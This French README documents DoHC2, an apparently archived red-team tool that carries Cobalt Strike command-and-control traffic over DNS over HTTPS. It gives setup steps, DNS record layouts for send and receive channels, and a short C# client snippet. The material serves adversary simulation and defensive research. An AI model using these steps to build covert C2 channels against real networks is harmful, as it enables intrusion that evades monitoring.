⚠️ NOTE : Cet outil n'est plus activement maintenu.
DoHC2
DoHC2 permet d'exploiter la bibliothèque ExternalC2 de Ryan Hanson (https://github.com/ryhanson/ExternalC2) pour le commandement et contrôle (C2) via DNS over HTTPS (DoH). Cet outil est conçu pour le logiciel populaire de simulation d'adversaires et d'opérations d'équipe rouge Cobalt Strike (https://www.cobaltstrike.com).
Présentation
Ce projet a été publié le 23 octobre 2018 lors de Mitre ATT&CKcon.
Diapositives :
Jouer l'avocat du diable face aux initiatives de sécurité avec ATT&CK
Article de blog :
DOH! DNS Over HTTPS présente des risques potentiels pour les entreprises
Diagramme

Utilisation
- Installez et lancez le teamserver Cobaltstrike.
- Lancez un listener beacon_http/beacon_https - Attention Cela peut être bloqué par un pare-feu mais vous en avez besoin pour qu'External C2 fonctionne.
- Chargez le script 'external_c2.cna' pour démarrer ExternalC2 sur le port 2222 (pare-feu désactivé).
- Installez les dépendances pour le serveur python3.
- Autorisez le port 53/udp vers Internet (ou vers les plages IP du fournisseur DoH).
- Créez un enregistrement A sur votre domaine pointant vers l'adresse IP du teamserver/serveur DNS, par exemple [A] entry.example.org -> 000.000.000.000
- Créez un enregistrement NS pointant vers l'enregistrement A pour le canal d'envoi (INPUTDOMAIN), par exemple [NS] send.example.org -> entry.example.org.
- Créez un enregistrement NS pointant vers l'enregistrement A pour le canal de réception (OUTPUTDOMAIN), par exemple [NS] receive.example.org -> entry.example.org.
- Modifiez INPUTDOMAIN et OUTPUTDOMAIN dans DoHC2.py. Changez la clé/IV de chiffrement - cela est utilisé pour chiffrer le chemin du Teamserver vers le Client uniquement (chiffre le Stager). Modifiez max_records de 1 en fonction du fournisseur DoH, certains fournisseurs réordonnent les enregistrements retournés, ce qui n'est pas géré actuellement. Max 5 fonctionne bien avec le serveur DNS.
- Lancez le serveur DNS python3.
- Compilez la bibliothèque ExternalC2. Changez la clé/IV de chiffrement dans DoHChannel.cs pour correspondre au serveur python3.
- Configurez et lancez DoHC2() comme ci-dessous en veillant à définir INPUTDOMAIN, OUTPUTDOMAIN et un fournisseur DoH au format 'https://resolver.example.org/dns-query'.
Serveur
Serveur DNS Python basé sur ACME DNS Server
- Il interface le DNS brut avec le Teamserver Cobalt Strike sur 127.0.0.1:2222 par défaut.
- Modifiez INPUTDOMAIN et OUTPUTDOMAIN pour qu'ils soient des hôtes qui sont NS de l'IP externe du serveur :
pip3 install -r requirements.txt
sudo python3 ./DoHC2.py
Bibliothèque
ExternalC2 de @ryhanson avec les ajouts suivants :
Exemple de client
- Comme le reste d'ExternalC2, DoHC2 est COMVisible pour JScript/DotNetToJS mais ceci est un exemple simple pour l'initier.
- Le client exemple DoHC2Runner est un simple programme C# pour démontrer le chargement de la bibliothèque et sa configuration comme suit :
DoHC2 doh = new DoHC2();
doh.Configure("<INPUTDOMAIN>","<OUTPUTDOMAIN>","<DoH URI i.e. https://dns.google.com/resolve or https://dns.example.org/dns-query");
doh.Go();
Auteurs
Licence
DoHC2
Certains éléments créés par David Middlehurst, SpiderLabs comme décrit ci-dessus
(Veuillez vous référer aux licences respectives lorsque d'autres projets open-source sont utilisés).
Copyright (C) 2018 Trustwave Holdings, Inc.
Ce programme est un logiciel libre : vous pouvez le redistribuer et/ou le modifier selon les termes de la GNU General Public License telle que publiée par la Free Software Foundation, soit la version 3 de la Licence, soit (à votre discrétion) toute version ultérieure.
Ce programme est distribué dans l'espoir qu'il sera utile, mais SANS AUCUNE GARANTIE ; sans même la garantie implicite de COMMERCIALISATION ou D'ADAPTATION À UN USAGE PARTICULIER. Voir la GNU General Public License pour plus de détails.
Remerciements
Contributeurs